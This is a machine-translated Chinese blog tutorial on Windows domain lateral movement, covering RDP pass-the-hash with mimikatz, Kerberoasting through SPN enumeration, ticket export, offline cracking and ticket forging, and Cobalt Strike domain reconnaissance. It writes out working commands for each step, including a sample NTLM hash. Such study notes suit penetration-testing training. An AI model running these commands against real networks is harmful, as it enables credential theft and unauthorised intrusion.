当前位置:网站首页>Intranet Security Learning (V) -- domain horizontal: SPN & RDP & Cobalt strike
Intranet Security Learning (V) -- domain horizontal: SPN & RDP & Cobalt strike
2022-07-06 00:19:00 【Twilight】
Domain horizontal CobaltStrike&SPN&RDP
1. The domain moves horizontally —RDP Pass on -Mimikatz
Except as mentioned before IPC、WMI、SMB、NTLM In addition to the connection of other protocols , Get the plaintext password or HASH Ciphertext can also be passed through RDP agreement (3389 port ) Connect operation .
1)RDP Plaintext password connection :
Windows: mstsc
mstsc.exe /console /v192.168.3.21 /admin
linux: rdesktop 192.168.3.21:3389
2)RDP Ciphertext hash Connect :
windows Server Need to open Restricted Admin mode, stay Windows 8.1 and Windows Server 2012 R2 On by default , At the same time, if Win 7 and Windows Server 2008 R2 Installed 2871997、2973351 Patches also support ; Open command :
REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v
DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
Start and run :
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 “/run:mstsc.exe /restrictedadmin”
2. The domain moves horizontally —SPN service – probe , request , Crack , rewrite
First of all, through this article to understand what is SPN:https://www.cnblogs.com/backlion/p/8082623.html
We mainly use SPN Scanning service , Its scanning will not trigger firewall detection 、 probe 、 Simple command and other advantages , See mind map for the process .
Hackers can use valid domain user authentication tickets (TGT) To request service tickets for one or more target services running on the server .DC Find... In the active directory SPN, And use the SPN The associated service account encrypts the ticket , So that the service can verify whether users can access . Requested Kerberos service ticket The encryption type of is RC4_HMAC_MD5, This means that the service account NTLM The password hash is used to encrypt the service ticket . Hackers will receive TGS The bill is cracked offline , You can get the target service account HASH, This is called Kerberoast attack . If we have an arbitrary account registered for a domain user account SPN, Then the clear text password of the user account NTLM The hash value will be used to create the service ticket . This is it. Kerberoasting The key to the attack .
# probe ( System comes with setspn command ):
setspn -q */*
setspn -q */* | finder "MSSQL"
There is no domain environment on my computer , Nothing can be swept :
When there is a domain, view the service information of the domain , probe :
select mssql service :
To collect information :
# request : powershell function ! It's fine too mimikatz Tools
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx" // Remember to replace with the previously filtered service
mimikatz.exe "kerberos::ask /target:xxxx"
View session delete the original session :
Two lines of command /mimikatz Request service :
You can see that the service ticket is requested :
# export : mimikatz Tools
mimikatz.exe "kerberos::list /export"
Export the ticket information and take it to crack :
be used kerberoast.py Tools :
# Blast :
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-[email protected]~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
Get the code Admin12345 :
Check it out :
# rewrite :
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # Inject the generated ticket into memory
After the bill is injected, it is equivalent to being directly connected , No validation , forge admin user . But the probability of success is small , It belongs to the subsequent penetration tool .
3. The domain moves horizontally — Process a Soha —CobaltStrike Tools First experience
About the process :
start-up - To configure - monitor - perform - go online - Raise the right - information gathering ( The Internet , voucher , Positioning, etc )- penetration
1. Explanation on startup and configuration
2. About rights lifting and plug-in loading
3. Explanation of information collection command
4. Explanation of view automation function
net view
net computer
net dclist
shell net user /domain
Refer to :《Cobalt Strike 4.0 manual 》
边栏推荐
- Multithreading and high concurrency (8) -- summarize AQS shared lock from countdownlatch (punch in for the third anniversary)
- Solve the problem of reading Chinese garbled code in sqlserver connection database
- 7.5 simulation summary
- 教你在HbuilderX上使用模拟器运行uni-app,良心教学!!!
- Choose to pay tribute to the spirit behind continuous struggle -- Dialogue will values [Issue 4]
- 多线程与高并发(8)—— 从CountDownLatch总结AQS共享锁(三周年打卡)
- Global and Chinese market of water heater expansion tank 2022-2028: Research Report on technology, participants, trends, market size and share
- Zhuan: in the future, such an organization can withstand the risks
- Go learning --- read INI file
- Configuring OSPF load sharing for Huawei devices
猜你喜欢
[designmode] Decorator Pattern
How to solve the problems caused by the import process of ecology9.0
Gd32f4xx UIP protocol stack migration record
How much do you know about the bank deposit business that software test engineers must know?
[online chat] the original wechat applet can also reply to Facebook homepage messages!
There is no network after configuring the agent by capturing packets with Fiddler mobile phones
wx. Getlocation (object object) application method, latest version
Atcoder beginer contest 258 [competition record]
Detailed explanation of APP functions of door-to-door appointment service
Miaochai Weekly - 8
随机推荐
Determinant learning notes (I)
MySql——CRUD
LeetCode 1598. Folder operation log collector
7.5 装饰器
Go learning - dependency injection
What is information security? What is included? What is the difference with network security?
[designmode] composite mode
如何解决ecology9.0执行导入流程流程产生的问题
行列式学习笔记(一)
Senparc. Weixin. Sample. MP source code analysis
wx.getLocation(Object object)申请方法,最新版
Global and Chinese markets for pressure and temperature sensors 2022-2028: Research Report on technology, participants, trends, market size and share
[Luogu p3295] mengmengda (parallel search) (double)
微信小程序---WXML 模板语法(附带笔记文档)
Knowledge about the memory size occupied by the structure
LeetCode 1189. Maximum number of "balloons"
2022.7.5-----leetcode. seven hundred and twenty-nine
MySQL存储引擎
《编程之美》读书笔记
FFMPEG关键结构体——AVCodecContext